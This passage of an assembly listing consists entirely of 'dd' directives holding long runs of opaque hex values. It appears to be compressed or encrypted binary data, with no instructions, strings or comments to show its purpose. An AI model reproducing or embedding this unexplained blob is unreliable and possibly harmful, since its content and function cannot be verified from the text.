0E8BDF33Ah dd 7BEBDDD3h, 23E300F1h, 0EEAAC79Ch, 5E603795h, 968F7F60h dd 708A60FEh, 28C9369h, 8BF29801h, 0FF94F87h, 38F2FF0h dd 0CA23168Dh, 7FC09390h, 141CC28Ch, 124FA920h, 0C460609Eh dd 0FBF7BCh, 0EEBE0C06h, 8D5D9F5Bh, 5E4B6806h, 69915Ah dd 80CE4C32h, 8E8C06ACh, 830CAD98h, 218BA857h, 9F3D8026h dd 1AA9010Ch, 6EB31889h, 68202177h, 1BFA18Ch, 0EEAD2200h dd 38F44EABh, 2F620018h, 83DCF344h, 0E70016F8h, 0CF2B7D11h dd 3203B92h, 68BF2907h, 30005F05h, 9ED94047h, 0A87C02h dd 46FD0C9Fh, 69A11D73h, 4401F373h, 0EFE80562h, 0F2D002CEh dd 55BC0008h, 0E6CCF652h, 4707540Bh, 0AFC1050Ch, 5040C2D7h dd 0AB959Bh, 31455CD8h, 0EB3D48F2h, 4430600h, 2993D366h dd 5AAC00AFh, 46B42163h, 8900C188h, 75875FC0h, 1A6BB08h dd 0B0D69144h, 0DC03ABBCh, 8E004A89h, 20E80B2Bh, 0FE848576h dd 0EF190039h, 8104677Ch, 9E00F2D4h, 0ED0CF769h, 7E53E70h dd 9F599341h, 0CC86D06Eh, 5F73E04Fh, 0CB00757Ch, 46C86F20h dd 1CF36C9Bh, 40B478AFh, 0F166ADB5h, 97ECE653h, 0E2000E74h dd 5A89DEF9h, 2A14FEh, 7958DB4Bh, 0F817F06Bh, 96BD2B00h dd 0FD268788h, 33B94CA2h, 4A4077Dh, 80BA28C0h, 5DB74D41h dd 12B0DC00h, 0FA019C78h, 0DEEE001Ah, 0B833950Ah, 690013A8h dd 0D6C65203h, 0E853AAh, 0C81FE4B9h, 6DFEF1B5h, 75C7B100h dd 489CF541h, 0BA360118h, 170BCBF3h, 741DE49Eh, 10843F01h dd 43EA31Bh, 0A060C3D9h, 73A100DFh, 2F145E2Eh, 2B00A783h dd 7A91A5CEh, 13142B8h, 17E0C7A8h, 0CC7FDC88h, 0A40E801Ah dd 60F73987h, 8FC35922h, 0EC7AE8h, 0BC882AE3h, 73DD7892h dd 356B002h, 84C6A438h, 8CB468E0h, 7A6B009Dh, 58408884h dd 0BB02B6FFh, 8DCD72F6h, 0E0AC4333h, 0E231E32h, 1BE7FC41h dd 870995A4h, 0D6A99045h, 0D71E016Ch, 5C00E66Eh, 0E7C785CBh dd 0F1F43EC4h, 29599501h, 0CCA23CC9h, 0A1166C14h, 2042DB8h dd 0C80D561h, 90C6EB0h, 7F595873h, 0C3B51A80h, 45E443BEh dd 5E03400h, 0DF4A980h, 232F00F7h, 0BBB22D9Eh, 0CF7845DCh dd 77677200h, 0DE62A2F3h, 0F8E700D6h, 6016B209h, 2B006C0Eh dd 9B8B919Eh, 0B0F650h, 7C7DAA31h, 240603DEh, 0EA08B100h dd 0D7B3F31Eh, 0CEE8DFh, 0AD7A636Ch, 3D36D0BFh, 0B84B5900h dd 255DCC46h, 0B24B98h, 68BE1658h, 43014F88h, 130D9F12h dd 0B760D9B0h, 0EF9400FCh, 7A08EEBAh, 51E2C06Eh, 0E3C93000h dd 336824Bh, 0F40B0077h, 0E99F1ECCh, 6D07D2A4h, 0AADFD9F7h dd 60BA25E0h, 0DC6907CBh, 60D60335h, 3B1BD438h, 0E132901Ch dd 0B7D0B040h, 0A0EFF2C4h dd 7E1E75D0h, 0C6B60716h, 0F096BA93h, 0B24A6069h, 49A3D200h dd 0B3EC3F5Ah, 0FE560013h, 7FB0E01Ah, 84ABF246h, 0CECBF490h dd 2F3AE307h, 0CDA0229Fh, 87B368h, 7C1F8635h, 33E4FC36h dd 0C5E0B601h, 0C138CC7Fh, 5E1C8832h, 0FFE480D0h, 0D103BC4Fh dd 0CC4BF302h, 81C72DE8h, 4C290ABDh, 103894F5h, 7A1D5100h dd 15B7EA80h, 6711AC00h, 60CB7925h, 0CA07003Ch, 0BDE32C61h dd 0B70C9E44h, 0B1A79417h, 6B7740h, 0FE450FEDh, 6F645B60h dd 433ED300h, 3D2B61E7h, 55DA0004h, 516CF59h, 0A101C0A9h dd 0CECFEE6h, 0D1F5B690h, 0D60ECCh, 0C405E329h, 4D7D5449h dd 8B07AF00h, 79A5BCFFh, 716900C8h, 286DEF39h, 0D7007277h dd 0FAFFBF3Fh, 0EBA5606h, 0D6A02AA1h, 2C5DEA60h, 0A8094EB2h dd 0E0CDF6h, 0C55C2ADh, 77F57D0Dh, 9B4B0061h, 0A47E4745h dd 0D33890C7h, 94CA921Eh, 75683004h, 7A0EE0A4h, 1F9F070h dd 25DC84C5h, 0D84FA0E9h, 120EE80Dh, 40B4853Dh, 0DE51BAA6h dd 0B82A73B7h, 5FEA002Ah, 3278A44Ah, 677B4D82h, 3B1F4E7Fh dd 0B4C0FFD0h, 0AF084C2Fh, 0DD30710h, 0D01D82D1h, 6ECE68C6h dd 28B61A00h, 84D40B4Dh, 7B081E80h, 347400E8h, 0F8FF8D1Fh dd 0E7F22900h, 0AD411931h, 0AEC1C0CCh, 98761102h, 0DC9EDF7Bh dd 5E8A0900h, 3ADC1B39h, 8D80D896h, 8FB613C2h, 97005949h dd 0F21FC512h, 9AD96Ch, 0D6C8FD2Fh, 9883A5D2h, 9D800D00h dd 356215F5h, 5F8500D5h, 41CC5088h, 0FA09B743h, 20271AACh dd 9BC971DCh, 174C9021h, 61B3D6h, 0D48642E7h, 0B7703F2Ch dd 75312E1Eh, 76BE1300h, 1DF320FDh, 9EA558F6h, 4B3C8009h dd 26B1F906h, 66559E12h, 4D56C000h, 1BBD91h, 18D78A59h dd 1EC7709h, 0CFB39A01h, 0FCD1600Bh, 36FED0h, 0BD3B7E7Dh dd 1F2CD290h, 7545CA26h, 33A46903h, 0FE38B036h, 63110073h dd 5EF66FD1h, 0EDE4F7A9h, 5DE74500h, 796A0B7Bh, 19300C9h dd 4ABF5716h, 2FF8D4B4h, 0A5E10400h, 307E17FBh, 0B5BD00ADh dd 0E8F18A46h, 2E007ADFh, 2CA280FCh, 181B5Eh, 69431E65h dd 0E5CB6438h, 0A46DE700h, 56165A9Ch, 223309F1h, 48506EF5h dd 0B1C4C500h, 0E404052Dh, 0BF9E0761h, 502C5298h, 62AADB1Fh dd 0BACFE600h, 2D846D77h, 5CD900C5h, 9F3FB44Ch, 0F03D6F2h dd 0B15589EDh, 0E666F8CBh, 0B6BE00F8h, 6BE7854Fh, 813E480Bh dd 64E9807Fh, 6D40A03Ch, 0CA4A00BAh, 17B2E41Eh, 0B60E5BFAh dd 2087CB9Eh, 0A05F37F3h, 0D8E8E37Ch, 86AC00FCh, 4C033D2Dh dd 0C1C4317h, 0E4004063h, 30666E3Eh, 0D3795Dh, 0B02D96D5h dd 1A5FADC7h, 9AEBAA00h, 3A4162F6h, 44DC0B7Fh, 9F803275h dd 3937A8A4h, 1E743F00h, 0A61C12AAh, 100800FFh, 91F5F1DDh dd 0E1070D9Ch, 0C4DB851h, 1C1C3F1Fh, 2DEA9A40h, 3DBF3765h dd 40803625h, 134B8A54h, 210048BAh, 8F873BDEh, 0EEF07Dh dd 2EB53F11h, 0CE12C95Bh, 0D88E8500h, 0A9D5B9D1h, 501118ECh dd 124D10DDh, 0CDFA40h, 3A145158h, 0FFC3D930h, 0FDFBDB00h dd 0C4F839EEh, 4AC100E9h, 3B0C29F4h, 2700327Ch, 0BB548C76h dd 143E0FB8h, 40289458h, 7E862200h, 9FBB3A3Ch, 2FA22E00h dd 4BC6BAAh, 904A006Dh, 0F398B994h, 45F40795h, 56D30E06h dd 3040F822h, 3A08E6BBh, 0A9E639A1h, 0FB6F2E00h, 0DD175DB2h dd 0CA5503FDh, 96AB3DE2h, 0AD70AFC0h, 8AF73800h, 557B5862h dd 90A401C0h, 0CA7E11C1h, 0C45DC07h, 6D447600h, 0A1057189h dd 7DE60038h, 0D6EB55Ah, 40000EA4h, 0A6249DC5h, 1F8FD3AAh dd 0DB0B4Bh, 35CBAE0Fh, 3C00537Bh, 0A991082Ah, 1D6339B2h dd 13314DEh, 5054CAD7h, 700BF11Ah, 220F743Fh, 1440FA7h dd 21605C5Bh, 482C8E0h, 5FE36FD8h, 0C118903Dh, 641CEAB7h dd 50000411h, 9A67495Eh, 0C0A00EF9h, 7887E793h, 0AF24090h dd 5C054B43h, 1636882Dh, 0CF99400h, 66A759h, 5F6A0825h dd 448106AAh, 80FFA13Ah, 0E503D473h, 8D701Dh, 0B6603208h dd 0E05655EEh, 5F260903h, 0E8B378Fh, 6D5CDB91h, 0EDC2EE80h dd 3F00B99Fh, 7F1F3813h, 0F828EE3h, 0F283F8E8h, 5D441241h dd 0EB8DD811h, 396C9300h, 0DA5F80B2h, 0A9250014h, 8ED6B956h dd 5C3D27B7h, 228D82A0h, 0A455868Fh, 0D78095F4h, 58D8F9ACh dd 383AFB49h, 283724h, 643312DFh, 0EA00ACD3h, 66A83AE4h dd 7E03FBh, 81BD11F3h, 0D476795Fh, 6A947C00h, 573BAFC1h dd 6CDB300Ch, 0A7F2EED0h, 0ED13639h, 60464BA1h, 98123218h dd 0B99000FEh, 643404F0h, 366056EDh, 2A2EF878h, 176EF41Fh dd 4C8AB1h, 0FEC05DB2h, 140F6BA1h, 0FDBF0783h, 211D0980h dd 73ECC9h, 0B06534DEh, 0D575F795h, 33B51B03h, 0A89F6E4Fh dd 1FB41331h, 0C0BC3EF9h, 0CBF617Ah, 3900835Dh, 0BD2FDDB7h dd 748E9698h, 88ED0095h, 415DB126h, 150E09Ah, 36B0F498h dd 28F05400h, 0A08BD899h, 0F063FE7h, 3F6A1281h, 80CB0203h dd 2F2D9A18h, 57561h, 0CAD1660Fh, 0AAD39FBAh, 5B1FBD74h dd 0B2DE1FEEh, 4ED67D80h, 30C8797h, 61169649h, 481FD135h dd 0F8803846h, 8A3E34E1h, 7878BCh, 513F73CCh, 0F4EC3DAFh dd 629A9701h, 0CA31557Fh, 0FC78388Eh, 0BDCA300h, 840B9CE2h dd 757C8FF1h, 81942483h, 7E379FA0h, 4300B1F4h, 298C92BAh dd 77FE1Fh, 0B2842836h, 0B3C6DF60h, 1DB8AD70h, 3DF11417h dd 0E9611F03h, 9EA1E0BBh, 1F36FADCh, 18102BDh, 6A6892E2h dd 97ABE81Ah, 7E19B200h, 73DFEE6Fh, 0EAAF7E9Bh, 0B11E1814h dd 102C2950h, 0F4302160h, 0DCBA18h, 0D093143Ch, 0F0D8EBE1h dd 85BC9900h, 0EFC22AFCh, 0A23203FBh, 0E9B25818h, 0CF01AA80h dd 0DE1CAF1Fh, 0D6364300h, 374E28Ah, 0D5764B8h, 600C28C2h dd 3007C96Ah, 0B3901Ah, 7EBABB2Fh, 7BE4731Fh, 72508000h dd 392E10B2h, 64A30568h, 0EEAF6E27h, 0CD4836C0h, 49FE00EDh dd 0C1F2967Dh, 6503DDEFh, 839819E5h, 340818E1h, 0D5122072h dd 1F94EF00h, 22FF352h, 866F000Fh, 469304F4h, 6D00E027h dd 33033E85h, 1DDC05ACh, 7AAD227Ch, 0B61CC400h, 907A5E86h dd 27604BFCh, 0AEF75259h, 30F36011h, 2294A43Fh, 3426DD01h dd 5C3CEA2Dh, 49682980h, 0CCEFC8C5h, 0C7CA6107h, 104A6695h dd 4D032F12h, 814514BEh, 6CF04853h, 2DA51D4Fh, 0B4604EFh dd 2D00EF81h, 0EBF5FC38h, 2FA9818h, 669823CDh, 0D056DEECh dd 82C6B301h, 980B131h, 0EC69F973h, 0A700907Eh, 0D23A238Ah dd 7553E2Fh, 0E6FD9B27h, 5183096h, 12B86D66h, 0FFD73Ch dd 0DA11B45Eh, 0F75F8Ch, 70AA03FCh, 7646920Bh, 0B098837Dh dd 9B062D00h, 0EF28CC14h, 0ADBC00D2h, 0DF9179DEh, 9D09157Dh dd 5A6FEh, 32FD2FD1h, 0C3000CEh, 188F9B04h, 0A67E48BFh dd 0D6004377h, 207AA1C8h, 927EDEh, 790C1EE2h, 851DFB59h dd 1536D4F7h, 0FFCF5A00h, 0A35519B7h, 1246072Dh, 60399AB9h dd 0DFE1EEFCh, 70473D09h, 6B6E00C9h, 574594h, 0CB9DC7Dh dd 0ED7EC84Bh, 29DB6530h, 7183085h, 0E4AAC16Bh, 3E2D90A8h dd 0B31EB809h, 380D012h, 0B1F97CAh, 78711Dh, 0BE4BE325h dd 0F01CB255h, 88CDFF00h, 4099360Eh, 2BED009Bh, 9F05BA90h dd 7C4CBD1Dh, 8432000Ah, 0C86D8869h, 1A2B03D0h, 4239FD26h dd 59154EF0h, 9E129507h, 0D11088FEh, 91AAE3h, 237181F3h dd 0AD840769h, 0E826CA00h, 0DD256D65h, 0E00F002Ch, 80D47A27h dd 81005F7Eh, 0C412FF42h dd 176EB6h, 695AD3FDh, 26474EEh, 0EFF64607h, 82F1FA25h dd 0FFCCF8EBh, 317D03E2h, 985789A2h, 0A4707880h, 9BA3500h dd 0FAB273B9h, 0B5BB0E2Bh, 0C9208B5Eh, 0B641C829h, 0B4E11900h dd 596EE721h, 56F10024h, 0C261979Dh, 0F607D0FBh, 0D408D61Ch dd 0BBED608Eh, 8DA8FCh, 600129DCh, 0AB0B138Ch, 9A81CE00h dd 3B40E675h, 0C76C00C9h, 0EBB41FEFh, 0EA04A4A1h, 767C4388h dd 0D70909C0h, 71BB0035h, 2BFFBC9Ah, 320F7B1Fh, 0C5A9E1CFh dd 0AFC2ED40h, 0C894E06Eh, 0F4F00080h, 0CBD80715h, 0EA0732C5h dd 43783BD7h, 0AC49070h, 2E85Dh, 8C62D4C1h, 28AA23BBh dd 1BF44412h, 9B9E3800h, 0EE58CFh, 5FD5735Ch, 4627FCEFh dd 0C3995101h, 1D88FB94h, 0F434E9D4h, 8386007Fh, 1665CB5Fh dd 37F0BEB8h, 1FBF8000h, 6E69E61h, 0EDEF0032h, 7508FBCCh dd 94EEBB6Dh, 3E7C9300h, 8B6EA59Fh, 624300B4h, 0DB5673C2h dd 0FA7374CDh, 97F5D400h, 60D19DD5h, 42F0036h, 0AA4E8C47h dd 0F600D3DCh, 0C075780h, 7E76555Eh, 0F3E0FEh, 178888Dh dd 0C5206A14h, 0DFF25C03h, 9F153A13h, 0A3FEE6C0h, 58A05C76h dd 0FF407400h, 3B853D60h, 30F11200h, 90241565h, 0D5EE38D6h dd 52E61900h, 0E8608535h, 81662600h, 0E35C40BEh, 0C7B80EA0h dd 69C0A49Ah, 222B6AACh, 0C1294B00h, 0A7340C68h, 0F0DF452h dd 0B36C6579h, 90BE95C5h, 496FBF3Fh, 9E7B8803h, 0B0D9B218h dd 3C2C2D64h, 0F2006A51h, 3CDA0646h, 6E0016B7h, 0DFBB290Ah dd 0E5B9FAh, 0C53284D8h, 0E2EAE47Bh, 0C4BEF001h, 0CFE7F153h dd 3EBE60h, 9059B058h, 5FA291D1h, 61F83900h, 9F3338Ch dd 1657B4Fh, 406A1DFFh, 0DC2B72D4h, 0A10078E6h, 6DD69D77h dd 0E6940D14h, 0CE000B8h, 7EEB16CAh, 0F600B3F2h, 2A239F86h dd 73C05Bh, 0D7A1A91Eh, 33D69BDFh, 3E921A00h, 3C658A56h dd 19253F42h, 45EF880h, 883DC2A3h, 2CB7C300h, 0CD85ED9Ch dd 40573C86h, 7AD9500h, 0C4D3E43h, 48DAEF00h, 3122B94Eh dd 24A607D0h, 402FE69Ah, 0A901E2F4h, 723EBE03h, 0F073753Ah dd 3835340Ah, 9B00316Eh, 0CCDF45Ah, 0EE002E2Dh, 4C1B3BB0h dd 91FDCEDh, 254AC0F3h, 5407D01h, 83080D0h, 1D235C8h, 0DA6B0171h dd 0C61C0E2Ah, 4280C707h, 8A0021A5h, 0EDD8B1D9h, 79C592AAh dd 96C30013h, 6E09FEAFh, 0BE0C444Ah, 41CA2D71h, 0FD7320h dd 8CB95CBAh, 0A614BF4Ah, 7B87123Eh, 0C73A731Ch, 0F8C22D80h dd 2A9AE5Bh, 3F115886h, 0EC401BEFh, 6300E588h, 8EEBC6Fh dd 7D56A2Dh, 0F4C08010h, 0D220F0B9h, 8E004CA1h, 3018942Ch dd 7FE4DF72h, 623E0743h, 2092EE22h, 0E1819DF3h, 8F0A1A00h dd 0DC1F4D1Dh, 0C7E90111h, 0A978F25Ah, 2C6EA831h, 37828600h dd 0B15F67E8h, 35070393h, 0E9A4E32Bh, 0ECC957D9h, 0BD2DA6D3h dd 0CFD49Eh, 0ECDD129Dh, 720025CFh, 7A81641Ah, 2938CAh dd 0F2F64CB8h, 0C1F469E2h, 0B47A41BFh, 4F8F20h, 6FE5A606h dd 0C7F7A211h, 3832B00h, 3D2C3C96h, 0C4F22C97h, 0C2160234h dd 85606E90h, 0C72B41Eh, 3A1A5600h, 6F2258E5h, 841500AFh dd 0A6E98C7Dh, 69000727h, 3E32DA24h, 0B2FA9Dh, 0B84BEB30h dd 3F02C7D7h, 0AB6B3Ah, 0E2B98AE6h, 926040h, 0E7FA1AE9h dd 442334EFh, 99B0D817h, 667F1F00h, 0F1512Fh, 4A29A870h dd 0E442DF5Fh, 62004D7Ch, 4FEB1141h, 1C7ED638h, 4018328Fh dd 2F686E53h, 36009FA5h, 79611333h, 0E21DB27Ch, 71B100D8h dd 0D752665Ch, 0EE032C68h, 0DB11783Fh, 0C0FCF1E4h, 459DE840h dd 6A3A095Eh, 7C0EE518h, 8DDBFEC0h, 213CBC4h, 7F00B533h dd 0AADC30C1h, 0BBF33B74h, 8688B300h, 710BBDD6h, 71DFCC5Ch dd 0FF182B00h, 0E0742097h, 1923CF0h, 49C8027Ah, 166D1F48h dd 86D89C63h, 9901C130h, 5F256FD0h, 0C3207E4Fh, 7D1700CEh dd 0F152D789h, 39001851h, 685FD901h, 1C7CB0B1h, 38BB60h dd 28134B44h, 3400FDA0h, 0D9C6EA6Ch, 1AF01A8h, 76D6A4E6h dd 24879047h, 910008ECh, 65D3541Ch, 1ED8DC21h, 0B0247B70h dd 5DFAA990h, 0A003D3EDh, 0D1AD0C86h, 0BF081381h, 1B121C9Fh dd 2B060CBh, 0C100C6E8h, 4990A6FAh, 0E45A4B3h, 92698D4Eh dd 9E05D3AFh, 0D5180302h, 8F0A528h, 71C01D78h, 53918897h dd 0D26B00D1h, 0F936EA2Ah, 1CA82FD9h, 0AD02FF5Ah, 9D20FEC0h dd 2508059h, 1EC19441h, 87919772h, 9063752Ch, 0EB4261D5h dd 0ECA5F1Dh, 7C88300h, 432DC2h, 0A24EE7BCh, 1492BD2Bh dd 1B68E600h, 0B3F92A66h, 3D5C4CB7h, 37D810Eh, 0E3C3D6A0h dd 7B00AEBBh, 0FC889CF5h, 0DC848Eh, 0F92E2F5Fh, 8C0B4FC9h dd 0BDA14D00h, 274289ECh, 57390F45h, 0B7206FA2h, 43EABE6Dh dd 0E953CCA8h, 1EE5DB00h, 1A8CA1C7h, 0F73A0060h, 0EACB0955h dd 7C009A62h, 491E6830h, 7B07A78Bh, 23A01EAEh, 0D10540F7h dd 46120DA8h, 904A8601h, 835CE6Dh, 6F802E8h, 0B88A26D0h dd 0B0F47142h, 497611FCh, 0B61F5A0Bh, 7377837Fh, 0EBCFF035h dd 0B8D73DFCh, 28AC1D28h, 0F46A13h, 145328BCh, 73367930h dd 50B21248h, 0D20001E8h, 3334F0DFh, 71CF25h, 82B31674h dd 0BFA94452h, 7FD73602h, 80C18556h, 0F293AE2Ch, 275E0FF4h dd 405F81C8h, 0C04A9910h, 5090EBC9h, 75ED7900h, 0BA2AB404h dd 6BE007EAh, 2437883Bh, 0D081BE71h, 0F6E0D54Ah, 0BDED0F05h dd 107BB7Eh, 2381F05Bh, 993BA242h, 8FC5801Dh, 0DDAA46DAh dd 0F1D900B3h, 7807D37Ah, 9D3DB63Eh, 0DB5100FCh, 0E623578Eh dd 857E32h, 0E1D6B325h, 99460A26h, 2C342D00h, 0A16551F8h dd 0BD9D0028h, 0FF26D7AEh, 9C6006A6h, 0EDDD9E48h, 0C0347662h dd 0E3CC110h, 0FD00FA20h, 4384530Fh, 0F141BBh, 29461B31h dd 9447B0FFh, 52328B00h, 8FA7CF0Bh, 6D6C0093h, 4329C705h dd 0A4007FB7h, 0E28C7711h, 745D53B2h, 0C1D601A8h, 70FC06ECh dd 0F423EC56h, 0EA784660h, 0DB37EDh, 82A36F4Bh, 27DC050h dd 8071DC3Ch, 0B8EEC1DFh, 30D10h, 6CBBA689h, 0D84F283Ch dd 7D66BE03h, 0D82B0935h, 0D2FF19h, 0C38E4B45h, 0E8C74E04h dd 0A64CD500h, 0EE7827AEh, 0DC950029h, 5B55097Ah, 313BFC2Ah dd 995680C4h, 0DEF54B75h, 0B3330EEAh, 0D287FEB8h, 0C85D5079h dd 7707D1F6h, 0ECFFEFD0h, 1643F5E0h, 4F32009Eh, 80BE1A6Bh dd 0F00C85E5h, 3806105Ch, 9405007Dh, 17C2A034h, 0E000D61h dd 324C8B26h, 0DF21A4Ah, 0FEE716E1h, 92116068h, 20349A07h dd 0E28099FCh, 0A15BF1h, 3E59F6C2h, 9721928Eh, 0B3417300h dd 65854971h, 0D3020016h, 347A8A79h, 0E13B7847h, 0B70C7D19h dd 6190FCDFh, 0DE8E00E5h, 4DBA4C98h, 6F1612CDh, 190252FDh dd 80848C64h, 9FC0C3A0h, 0F8E10071h, 58A70FADh, 0AC005A42h dd 704F74A6h, 121905h, 3BEB637Ch, 0F4C66F0Ah, 0E599DA1Eh dd 105A8E8h, 7F11D4D3h, 815A8441h, 62F1C3F4h, 24D220h dd 1C02C412h, 0EFEA78ADh, 0DFCFB00h, 0C9546521h, 0E21730A8h dd 62C4F830h, 8607F7FAh, 9FD21D6Bh, 0B95AB230h, 6DE81375h dd 0D018001Eh, 0D6158B77h, 0E1E7D20Eh, 2EB900BAh, 24806A5Bh dd 3B6C08FEh, 0BCE40072h, 47B56BE3h, 9103CA0Ch, 59D0F55Bh dd 0DDCFD0A8h, 0BAF7642h, 1C0C45C0h, 0CA0D3C80h, 1839D7CDh dd 0BA560038h, 7CA8AEB9h, 0A39A07D0h, 0C0ADA7C1h, 57C80BCAh dd 41163D02h, 9C1E7BACh, 7AC71020h, 23A5C27Dh, 4ECD8389h dd 0E45388CFh dd 11E8006Ch, 8DDA3356h, 5A001D20h, 76E38C8Ah, 0BA57C7h dd 498FE6C1h, 0E49A9DEFh, 0B7E07300h, 7727CCECh, 0A2B60303h dd 0DA700C4Dh, 0D0C12EC0h, 0A03D97Ch, 23DEE29h, 0CA080023h dd 13B29419h, 0FC00560Fh, 0BBC7F2A3h, 2EDA83h, 0A9E5D07Bh dd 9097CA3Ch, 551A0500h, 253FD929h, 48C9E69Dh, 0CD030D53h dd 0B9D0EE27h, 0A880C4F2h, 633CDE7Eh, 0BE561000h, 6E1AA3D2h dd 0DCFF6C6Bh, 9007D1B9h, 75BCCA88h, 0E283C882h, 0D68038BEh dd 70B439DEh, 6422C7C6h, 0F3DF473h, 794018F0h, 15F6208Ch dd 6DF0F554h, 4AA23F00h, 9DF1D21Ch, 7E8900EFh, 12D3ADD5h dd 0F950135Dh, 0E80051A0h, 0C7C668Ch, 30A3B9E9h, 31509003h dd 0BD05343Bh, 9E96BFE3h, 0A6C28000h, 0A75BF399h, 303A0420h dd 300F358Fh, 6EE583F3h, 418CE0FDh, 0D8EA240Ah, 0CCDD1468h dd 83118700h, 30340BB9h, 5F92E100h, 0BEE93CBDh, 26C8A0B8h dd 87740103h, 1DA16F81h, 188046B5h, 0F804EE57h, 450900A5h dd 0FC765D92h, 2F0068F0h, 0CF6AD218h, 49A202C2h, 7238440Ch dd 1FD0B233h, 990656C0h, 7783EF04h, 212A57D1h, 0DE9D068h dd 6EC40h, 250EF394h, 678D0811h, 40AB3A07h, 50C586D0h dd 0C0FA0C44h, 8260A21h, 2AAA42C6h, 0E08186Ah, 0F9CCBFEh dd 178852FBh, 30C0215h, 3F9A739Dh, 0FDF6E18Ch, 807D109h dd 10FB422Ah, 0FE8A71E5h, 3BCA8418h, 99A429Bh, 776E21CCh dd 0C63211A3h, 3A426F08h, 90082610h, 848E124h, 304A25E2h dd 10593190h, 0AE1ED9C5h, 4FFE0C05h, 1852780Ah, 0C43858Ah dd 42B62E08h, 0A211557Eh, 0A84AA10Dh, 8C499619h, 208AB8F0h dd 35360C4Bh, 1118A804h, 1047F188h, 0A3F1049h, 5FA61E82h dd 4C600670h, 1B00403Dh, 4BF94EB7h, 0C12D64h, 8685D143h dd 0EF7BBFC9h, 0E6BB4403h, 0B819290Bh, 1267DDA8h, 42F454F2h dd 0E933C924h, 3FA2BDC0h, 351DDB12h, 0D86F1041h, 98400A1Fh dd 3AF005h, 82540636h, 4BE90D16h, 0CDBB6605h, 0C800FAB5h dd 41B7862Fh, 0CCF830C6h, 0FFFFCA0h, 0EF7CD400h, 6C9FBC23h dd 374985Dh, 61A51DFEh, 3DF3D154h, 41820190h, 1C26C92Bh dd 0E37A54E0h, 73FD5C89h, 76B14330h, 0E279F0DEh, 2D24B590h dd 7E8FA45Ah, 7025420Eh, 208A6255h, 0A5F2218Ch, 0F6810043h dd 4294443Ch, 46010DFEh, 0CE47A93Eh, 0D89E2F01h, 3250319Dh dd 0CC086021h, 17F8B402h, 0A049796Dh, 9667F14h, 401E1426h dd 0BE0F34B0h, 0D1A0A13Eh, 308499Dh, 1801E409h, 0CFDC2026h dd 98447F60h, 50DF0014h, 0FA34737Ch, 8A0078CDh, 0BDC99A1Ah dd 282B2A9h, 0F3461189h, 9CAB9FA5h, 99FAD606h, 0BC59C000h dd 1D4CB8E1h, 97BA0E13h, 1937CEEh, 55F22444h, 992CE872h dd 0A86778F8h, 0B96EC018h, 8188B7D1h, 0C870F79Bh, 0EC950002h dd 644C4A69h, 880021DFh, 25EAD8A8h, 0F4A0A7ACh, 0A11D05C7h dd 475230D2h, 8291D7C0h, 5C405A18h, 5CB0ABB6h, 9430EE3Ch dd 7B84649Fh, 844EC500h, 574FF305h, 0F419C39Bh, 0C1CDA3CFh dd 24705EF8h, 7237525Ch, 0E487C0BDh, 17C0CC3h, 78B9DA18h dd 0D3B72001h, 409748E1h, 0B3335294h, 6B0284AEh, 0D12C336h dd 4FA84964h, 5DC2FC5h, 0B65E37E6h, 0BA4DC0B1h, 1558F22Ch dd 0CAC38464h, 12867C88h, 7FD903h, 0AB7022A0h, 0BA1C1F53h dd 0C22A36Fh, 57812C62h, 46007E50h, 5E70260Ch, 74C40B54h dd 0A1C363F7h, 411CDEB6h, 15804DF3h, 0D32C9075h, 0C64501FCh dd 0BCFE6BA4h, 5AA9FC48h, 0F7F82B00h, 0B4C1E7DDh, 72CA28E2h dd 71FB1980h, 64BF386Dh, 8900C0ACh, 0C16A3E10h, 52D1EDh dd 2A0B5521h, 622FC350h, 48EE7E88h, 1029880h, 0ABE21D9Ah dd 7C200864h, 0F8447B08h, 4818E26Bh, 0CC02D4C5h, 24D2D460h dd 884594C0h, 0DA0EAC90h, 0E65E7B82h, 0E8AF99h, 0C33A5C43h dd 4CB312E7h, 30D8752Bh, 2291C98Fh, 1916C296h, 28C8504Fh dd 0ECA0CE87h, 5E12A3CAh, 48004935h, 2A7FB9BAh, 104EFC91h dd 19AB4AAh, 0B18C2C5Eh, 0D0641F61h, 18A50040h, 0EA60F9Ch dd 96268EA0h, 88C01024h, 246B120h, 87C9E7C6h, 7040DF32h dd 0D5034D2h, 0A879AB94h, 40889B60h, 2CD3176h, 0FDFADAA0h dd 0A0878B0Dh, 1090A94Dh, 7700236Fh, 0D5BE69A8h, 3AA90E7Bh dd 507F453Fh, 0E0DE9066h, 0E705005Ah, 0BE626B78h, 0CF39D843h dd 0B0A84C83h, 60C0BEC4h, 6806F84Bh, 54241A22h, 0E4505025h dd 970B0707h, 0CADFD0C8h, 40710148h, 0E060D396h, 0B6009847h dd 0D2F603EEh, 732B41D0h, 52511483h, 0A800B4E7h, 9A47E6B6h dd 2158D1CDh, 81A70244h, 0CE910A99h, 65762648h, 10BE07D8h dd 0BAD6D0A3h, 0AC949A09h, 0DCEEBC87h, 286E0629h, 0AB0122B1h dd 19D42F3Ch, 81E8D535h, 2888BDE8h, 26ECA563h, 4040949Dh dd 8AC84285h, 541EA10Bh, 28B8A3BCh, 7D21011Bh, 17EA2925h dd 0C08444CDh, 283D3484h, 2A501D7Ch, 50241FE4h, 88412032h dd 0F90099EDh, 1BFEE483h, 89A329C2h, 0DDE82035h, 76054203h dd 0A022970Eh, 0F905D040h, 1E1CE0C5h, 869338A7h, 98F7791Bh dd 0E296FE06h, 0F0A94703h, 29E67C5Eh, 408A88Fh, 203DF036h dd 5149617h, 8FC6DDF8h, 16BC0E3Bh, 68D44981h, 3DA434A9h dd 69CAEA01h, 0C12C1B0Ah, 3EF01ECh, 0F4C3160h, 8DE8CE5Ch dd 950D570Ch, 38CBAD65h, 0CD022877h, 60D476C8h, 0DF0A4052h dd 0A0415552h, 69D88684h, 538AD091h, 92B712C0h, 0D6F3EA8h dd 1460296h, 0B939984Ch, 0F85C7553h, 0F5002D7Bh, 0A414826Dh dd 1FF77264h, 92633A8Ch, 56202C2Eh, 0F857072Ch, 0C3478804h dd 6F160490h, 0ECC8A419h, 4DF71F83h, 0AA3DC0D0h, 4E54CF3Fh dd 0B81E8890h, 0D4E4440Fh, 0E61FCB82h, 0A3F960EDh, 6F51C03Fh dd 0F64159AEh, 0A2C5A900h, 6A4EE16h, 0DF0F1F3h, 70610118h dd 0CC08E741h, 153048AFh, 481058A2h, 8307F771h, 0F891FF2h dd 4866DD02h, 97CFC44h, 77A5929Dh, 6F89782Eh, 1873E680h dd 55021B8Fh, 36354ABBh, 53C8A311h, 4C5299CDh, 0D8006231h dd 0C01D27h, 0F5842FADh, 0A4C99C26h, 0D15FE30Ch, 2E890D2h dd 170C2D8Dh, 0E0DD58D5h, 